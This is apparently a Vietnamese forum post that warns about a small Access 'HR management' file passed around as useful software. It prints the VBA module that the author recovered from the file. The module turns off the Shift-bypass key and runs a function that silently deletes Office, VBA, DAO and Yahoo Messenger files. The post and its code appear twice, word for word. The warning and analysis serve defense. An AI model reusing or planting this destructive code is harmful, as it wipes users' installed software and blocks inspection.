Tôi viết bài này thì đã muộn quá! Chắc cũng đã có vài người bị mất một số phần mềm với cái file quản lý nhân sự chết tiệt...
Quả thật các bạn chẳng hề nghi ngờ gì cả, đã là quản lý nhân sự thì ít ra cũng không thể có kích thước quá nhỏ như vậy được 140K.
Tôi đã khá cảnh giác, mở file mới và nhập các form thì chỉ thấy độc 1 form welcome và 1 module.
Sau khi modify cái macro autoexec và mở mã nguồn bị bảo vệ password, thì đây là những gì ai đó tốt bụng muốn tặng các bạn:
'///////////////////////////////
Option Compare Database
Function PreventBypass() As Boolean
Set prp = CurrentDb.CreateProperty("AllowBypassKey", dbBoolean, False, True)
CurrentDb.Properties.Append prp
Set prp = Nothing
End Function
Public Function Del_4_Fun()
On Error Resume Next
' Delete file from Office 10 - Access
' Can not use Access wizard
Kill "C:\Program Files\Microsoft Office\Office10\*.MDT"
Kill "C:\Program Files\Microsoft Office\Office10\*.MDE"
Kill "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\1033\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\DAO\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\MSClientDataMgr\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\Office10\1033\*.*"
Kill "C:\Program Files\Yahoo10!\Messenger1\*.exe"
End Function
'///////////////////////////////
Chắc hẳn chẳng cần bình luận gì thêm - chịu khó đi cài lại Office nhé, và Yahoo Msg nữa.
Quả thật các bạn chẳng hề nghi ngờ gì cả, đã là quản lý nhân sự thì ít ra cũng không thể có kích thước quá nhỏ như vậy được 140K.
Tôi đã khá cảnh giác, mở file mới và nhập các form thì chỉ thấy độc 1 form welcome và 1 module.
Sau khi modify cái macro autoexec và mở mã nguồn bị bảo vệ password, thì đây là những gì ai đó tốt bụng muốn tặng các bạn:
'///////////////////////////////
Option Compare Database
Function PreventBypass() As Boolean
Set prp = CurrentDb.CreateProperty("AllowBypassKey", dbBoolean, False, True)
CurrentDb.Properties.Append prp
Set prp = Nothing
End Function
Public Function Del_4_Fun()
On Error Resume Next
' Delete file from Office 10 - Access
' Can not use Access wizard
Kill "C:\Program Files\Microsoft Office\Office10\*.MDT"
Kill "C:\Program Files\Microsoft Office\Office10\*.MDE"
Kill "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\1033\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\DAO\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\MSClientDataMgr\*.*"
Kill "C:\Program Files\Common Files\Microsoft Shared\Office10\1033\*.*"
Kill "C:\Program Files\Yahoo10!\Messenger1\*.exe"
End Function
'///////////////////////////////
Chắc hẳn chẳng cần bình luận gì thêm - chịu khó đi cài lại Office nhé, và Yahoo Msg nữa.
